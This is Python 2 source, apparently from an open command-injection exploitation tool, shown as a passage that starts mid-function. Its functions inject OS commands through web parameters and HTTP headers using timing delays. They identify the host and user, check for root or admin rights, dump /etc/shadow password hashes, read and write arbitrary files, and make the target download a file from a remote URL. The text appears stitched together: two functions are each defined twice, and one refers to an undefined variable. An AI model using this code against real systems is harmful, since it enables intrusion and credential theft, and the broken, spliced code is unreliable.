alter_shell, filename, url_time_response):
_ = False
if settings.TARGET_OS == "win":
settings.HOSTNAME = settings.WIN_HOSTNAME
cmd = settings.HOSTNAME
if session_handler.export_stored_cmd(
url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
shell = output
if shell:
shell = "".join(str(p) for p in output)
if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
print("")
success_msg = "The hostname is " + shell
sys.stdout.write(settings.print_success_msg(success_msg) + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The hostname is " + shell + ".\n"
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the hostname."
print(settings.print_warning_msg(warn_msg))
def file_read(separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response):
file_to_read = menu.options.file_read
# Execute command
if settings.TARGET_OS == "win":
cmd = settings.WIN_FILE_READ + file_to_read
else:
cmd = settings.FILE_READ + file_to_read
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell,
filename, url_time_response)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if menu.options.verbose:
print ""
if shell:
sys.stdout.write(Style.BRIGHT + "\n\n (!) The contents of file '" +
Style.UNDERLINE + file_to_read + Style.RESET_ALL +
Style.BRIGHT + "'" + Style.RESET_ALL + " : ")
sys.stdout.flush()
print shell
output_file = open(filename, "a")
output_file.write(" (!) The contents of file '" + file_to_read +
"' : " + shell + ".\n")
output_file.close()
else:
sys.stdout.write(
Fore.YELLOW +
"(^) Warning: It seems that you don't have permissions to read the '"
+ file_to_read + "' file." + Style.RESET_ALL + "\n")
sys.stdout.flush()
def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
timesec, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename,
url_time_response):
_ = False
if settings.TARGET_OS == "win":
# Not yet implemented!
pass
else:
cmd = settings.SYS_PASSES
#print("")
if session_handler.export_stored_cmd(
url, cmd,
vuln_parameter) == None or menu.options.ignore_session:
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
timesec, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
_ = True
if output == False:
output = ""
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd,
vuln_parameter)
sys_passes = output
if sys_passes == "":
sys_passes = " "
if sys_passes:
if settings.VERBOSITY_LEVEL >= 1 and menu.options.ignore_session:
print("")
info_msg = "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
sys_passes = "".join(str(p) for p in sys_passes)
sys_passes = sys_passes.replace(" ", "\n")
sys_passes = sys_passes.split()
if len(sys_passes) != 0:
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
Style.RESET_ALL + " ]")
success_msg = "Identified " + str(len(sys_passes))
success_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1]
success_msg += " in '" + settings.SHADOW_FILE + "'.\n"
sys.stdout.write("\n" +
settings.print_success_msg(success_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.SUCCESS_SIGN) + success_msg)
output_file.close()
count = 0
for line in sys_passes:
count = count + 1
try:
if ":" in line:
fields = line.split(":")
if not "*" in fields[1] and not "!" in fields[
1] and fields[1] != "":
print(" (" + str(count) + ") " +
Style.BRIGHT + fields[0] +
Style.RESET_ALL + " : " + Style.BRIGHT +
fields[1] + Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" + str(count) + ") " +
fields[0] + " : " +
fields[1] + "\n")
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
if count == 1:
warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
sys.stdout.write(
settings.print_warning_msg(warn_msg) + "\n")
print(fields[0])
output_file = open(filename, "a")
output_file.write(" " + fields[0])
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
warn_msg = "It seems that you don't have permissions to read '"
warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
timesec, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
if settings.TARGET_OS == "win":
settings.CURRENT_USER = settings.WIN_CURRENT_USER
cmd = settings.CURRENT_USER
if session_handler.export_stored_cmd(
url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
cu_account = output
if cu_account:
cu_account = "".join(str(p) for p in cu_account)
# Check if the user have super privileges.
if menu.options.is_root or menu.options.is_admin:
if settings.TARGET_OS == "win":
cmd = settings.IS_ADMIN
else:
cmd = settings.IS_ROOT
if session_handler.export_stored_cmd(
url, cmd,
vuln_parameter) == None or menu.options.ignore_session:
if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
sys.stdout.write("\n")
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
timesec, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
shell = output
if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
print("")
success_msg = "The current user is " + cu_account
sys.stdout.write(settings.print_success_msg(success_msg))
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The current user is " + cu_account
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.SUCCESS_SIGN) + success_msg)
output_file.close()
if shell:
shell = "".join(str(p) for p in shell)
if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
(settings.TARGET_OS != "win" and shell != "0"):
sys.stdout.write(Style.BRIGHT + " and it is " + "not" +
Style.RESET_ALL + Style.BRIGHT +
" privileged" + Style.RESET_ALL + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " +
Style.RESET_ALL + Style.BRIGHT +
"privileged" + Style.RESET_ALL + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is privileged.\n")
output_file.close()
else:
if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
print("")
success_msg = "The current user is " + cu_account
sys.stdout.write(settings.print_success_msg(success_msg) + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The current user is " + cu_account + "\n"
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the current user."
print(settings.print_warning_msg(warn_msg))
def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
timesec, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = True
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
raise SystemExit()
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
content = [
line.replace("\r\n", "\n").replace("\r",
"\n").replace("\n", " ")
for line in content_file
]
content = "".join(str(p) for p in content).replace("'", "\"")
if settings.TARGET_OS == "win":
import base64
content = base64.b64encode(content)
else:
warn_msg = "It seems that '" + file_to_write + "' is not a file."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
if os.path.split(menu.options.file_dest)[1] == "":
dest_to_write = os.path.split(
menu.options.file_dest)[0] + "/" + os.path.split(
menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_write = "/" + os.path.split(
menu.options.file_dest)[1] + "/" + os.path.split(
menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
# Execute command
if settings.TARGET_OS == "win":
from src.core.injections.results_based.techniques.classic import cb_injector
whitespace = settings.WHITESPACE[0]
dest_to_write = dest_to_write.replace("\\", "/")
# Find path
path = os.path.dirname(dest_to_write)
path = path.replace("/", "\\")
# Change directory
cmd = "cd " + path
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
# Find filename
filname = os.path.basename(dest_to_write)
tmp_filname = "tmp_" + filname
cmd = settings.FILE_WRITE + content + ">" + tmp_filname
if not menu.options.alter_shell:
cmd = "\"" + cmd + "\""
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
# Decode base 64 encoding
cmd = "certutil -decode " + tmp_filname + " " + filname
if not menu.options.alter_shell:
cmd = "\"" + cmd + "\""
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
# Delete tmp file
cmd = "del " + tmp_filname
if not menu.options.alter_shell:
cmd = "\"" + cmd + "\""
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG, cmd)
# Check if file exists
cmd = "if exist " + filname + " (echo " + filname + ")"
if not menu.options.alter_shell:
cmd = "'" + cmd + "'"
dest_to_write = path + "\\" + filname
else:
cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + separator + settings.FILE_READ + dest_to_write
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
shell = output
shell = "".join(str(p) for p in shell)
# Check if file exists
cmd = "echo $(ls " + dest_to_write + ")"
print("")
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell,
filename, url_time_response)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
print("")
if shell:
success_msg = "The '" + shell + Style.RESET_ALL
success_msg += Style.BRIGHT + "' file was created successfully!\n"
sys.stdout.write("\n" + settings.print_success_msg(success_msg))
sys.stdout.flush()
else:
warn_msg = "It seems that you don't have permissions to "
warn_msg += "write the '" + dest_to_upload + "' file."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
def file_upload(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
url_time_response,
):
if settings.TARGET_OS == "win":
# Not yet implemented
pass
else:
file_to_upload = menu.options.file_upload
# check if remote file exists.
try:
urllib2.urlopen(file_to_upload)
except urllib2.HTTPError, err:
sys.stdout.write(
Fore.YELLOW
+ "\n"
+ settings.WARNING_SIGN
+ "It seems that the '"
+ file_to_upload
+ "' file, does not exists. ("
+ str(err)
+ ")"
+ Style.RESET_ALL
+ "\n"
)
sys.stdout.flush()
sys.exit(0)
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "":
dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = (
"/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
)
else:
dest_to_upload = menu.options.file_dest
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
check_how_long, output = tfb_injector.injection(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
url_time_response,
)
shell = output
shell = "".join(str(p) for p in shell)
# Check if file exists!
if settings.TARGET_OS == "win":
cmd = "dir " + dest_to_upload + ")"
else:
cmd = "echo $(ls " + dest_to_upload + ")"
check_how_long, output = tfb_injector.injection(
separator,
maxlen,
TAG,
cmd,
prefix,
suffix,
delay,
http_request_method,
url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell,
filename,
url_time_response,
)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if menu.options.verbose:
print ""
if shell:
sys.stdout.write(
Style.BRIGHT
+ "\n\n (!) The '"
+ Style.UNDERLINE
+ shell
+ Style.RESET_ALL
+ Style.BRIGHT
+ "' file was uploaded successfully!"
+ Style.RESET_ALL
+ "\n"
)
sys.stdout.flush()
else:
sys.stdout.write(
Fore.YELLOW
+ "\n"
+ settings.WARNING_SIGN
+ "It seems that you don't have permissions to write the '"
+ dest_to_upload
+ "' file."
+ Style.RESET_ALL
+ "\n"
)
sys.stdout.flush()
def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
delay, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
if settings.TARGET_OS == "win":
settings.CURRENT_USER = settings.WIN_CURRENT_USER
cmd = settings.CURRENT_USER
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
new_line = ""
cu_account = output
if cu_account:
if new_line == "\n":
print ""
cu_account = "".join(str(p) for p in cu_account)
# Check if the user have super privileges.
if menu.options.is_root or menu.options.is_admin:
if settings.TARGET_OS == "win":
cmd = settings.IS_ADMIN
else:
cmd = settings.IS_ROOT
if session_handler.export_stored_cmd(url, cmd,
vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
delay, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
new_line = "\n"
else:
output = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
new_line = ""
shell = output
if settings.VERBOSITY_LEVEL >= 1:
print ""
success_msg = "The current user is " + cu_account
sys.stdout.write(new_line +
settings.print_success_msg(success_msg))
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The current user is " + cu_account
output_file.write(" " + settings.SUCCESS_SIGN + success_msg)
output_file.close()
if shell:
shell = "".join(str(p) for p in shell)
if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
(settings.TARGET_OS != "win" and shell != "0"):
sys.stdout.write(Style.BRIGHT + " and it is " + "not" +
Style.RESET_ALL + Style.BRIGHT +
" privileged" + Style.RESET_ALL + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " +
Style.RESET_ALL + Style.BRIGHT +
"privileged" + Style.RESET_ALL + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is privileged.\n")
output_file.close()
else:
if settings.VERBOSITY_LEVEL >= 1:
print ""
success_msg = "The current user is " + cu_account
sys.stdout.write(settings.print_success_msg(success_msg) + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The current user is " + cu_account + "\n"
output_file.write(" " + settings.SUCCESS_SIGN + success_msg)
output_file.close()
def system_passwords(separator, maxlen, TAG, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename):
sys.stdout.write("(*) Fetching '" + settings.SHADOW_FILE +
"' to enumerate users password hashes... ")
sys.stdout.flush()
cmd = settings.SYS_PASSES
print ""
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG,
cmd, prefix, suffix, delay,
http_request_method, url,
vuln_parameter,
OUTPUT_TEXTFILE,
alter_shell, filename)
sys_passes = output
if sys_passes:
sys_passes = "".join(str(p) for p in sys_passes)
sys_passes = sys_passes.replace(" ", "\n")
sys_passes = sys_passes.split()
if len(sys_passes) != 0:
sys.stdout.write(Style.BRIGHT + "\n(!) Identified " +
str(len(sys_passes)) + " entr" +
('ies', 'y')[len(sys_passes) == 1] + " in '" +
settings.SHADOW_FILE + "'.\n" + Style.RESET_ALL)
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write("\n (!) Identified " + str(len(sys_passes)) +
" entr" + ('ies', 'y')[len(sys_passes) == 1] +
" in '" + settings.SHADOW_FILE + "'.\n")
output_file.close()
count = 0
for line in sys_passes:
count = count + 1
try:
fields = line.split(":")
if fields[1] != "*" and fields[1] != "!" and fields[
1] != "":
print " (" + str(count) + ") " + Style.BRIGHT + fields[
0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[
1] + Style.RESET_ALL
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" + str(count) + ") " +
fields[0] + " : " + fields[1])
output_file.close()
# Check for appropriate '/etc/shadow' format.
except IndexError:
if count == 1:
sys.stdout.write(
Fore.YELLOW + "(^) Warning: It seems that '" +
settings.SHADOW_FILE +
"' file is not in the appropriate format. Thus, it is expoted as a text file."
+ Style.RESET_ALL + "\n")
print fields[0]
output_file = open(filename, "a")
output_file.write(" " + fields[0])
output_file.close()
print ""
else:
print Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read '" + settings.SHADOW_FILE + "' to enumerate users password hashes." + Style.RESET_ALL + "\n"
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
is_vulnerable = False
again_warning = True
false_positive_warning = False
how_long_statistic = 0
export_injection_info = False
how_long = 0
injection_type = "Semiblind Command Injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
print Back.RED + settings.ERROR_SIGN + "The '--url-reload' option is not available in " + technique + "!" + Style.RESET_ALL
if menu.options.verbose:
print settings.INFO_SIGN + "Testing the " + technique + "... "
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
if settings.LOAD_SESSION:
cmd = shell = ""
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
else:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell :
payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
else:
payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Encode payload to Base64
if menu.options.base64:
payload = base64.b64encode(payload)
# Check if defined "--verbose" option.
if menu.options.verbose:
print Fore.GREY + settings.PAYLOAD_SIGN + payload.replace("\n", "\\n") + Style.RESET_ALL
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
# Statistical analysis in time responses.
how_long_statistic = how_long_statistic + how_long
# Reset the how_long_statistic counter
if output_length == tag_length - 1:
how_long_statistic = 0
if percent == 100 and no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Windows targets.
if settings.TARGET_OS == "win":
if how_long > (how_long_statistic / output_length):
false_positive_fixation = True
else:
false_positive_warning = True
# Unix-like targets.
else:
if delay == 1 and (how_long_statistic == delay) or \
delay == 1 and (how_long_statistic == how_long) or \
delay > 1 and (how_long_statistic == (output_length + delay)) and \
how_long == delay + 1:
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning and again_warning:
again_warning = False
warning_msg = settings.WARNING_SIGN + "Unexpected time delays have been identified due to unstable "
warning_msg += "requests. This behavior which may lead to false-positive results."
sys.stdout.write("\r" + Fore.YELLOW + warning_msg + Style.RESET_ALL)
print ""
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
else:
cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
else:
cmd = "echo $((" + str(randv1) + " + " + str(randv2) + "))"
# Check for false positive resutls
how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response)
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if str(output) == str(randvcalc) and len(TAG) == output_length:
is_vulnerable = True
how_long_statistic = 0
if not menu.options.verbose:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
#break
else:
break
# False positive
else:
if not menu.options.verbose:
percent = str(float_percent)+ "%"
sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
continue
else:
if not menu.options.verbose:
percent = str(float_percent)+ "%"
sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
continue
if not menu.options.verbose:
sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
except KeyboardInterrupt:
if 'cmd' in locals():
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except:
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if str(float_percent) == "100.0":
if no_result == True:
if not menu.options.verbose:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
else:
percent = ""
else:
percent = str(float_percent) + "%"
#Print logs notification message
percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
sys.stdout.write("\r" + settings.INFO_SIGN + "Testing the " + technique + "... " + "[ " + percent + " ]")
sys.stdout.flush()
print ""
logs.logs_notification(filename)
raise
else:
percent = str(float_percent) + "%"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if (len(TAG) == output_length) and \
(is_vulnerable == True or settings.LOAD_SESSION and is_vulnerable == "True"):
found = True
no_result = False
if settings.LOAD_SESSION:
is_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " Cookie"
found_vuln_parameter = vuln_parameter
the_type = " HTTP header"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
print Style.BRIGHT + "(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable)
is_vulnerable = False
else:
settings.LOAD_SESSION = False
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if settings.TARGET_OS == "win":
time.sleep(1)
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
enumerate_again = raw_input("\n" + settings.QUESTION_SIGN + "Do you want to enumerate again? [Y/n/q] > ").lower()
if enumerate_again in settings.CHOISE_YES:
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
break
elif enumerate_again in settings.CHOISE_NO:
break
elif enumerate_again in settings.CHOISE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
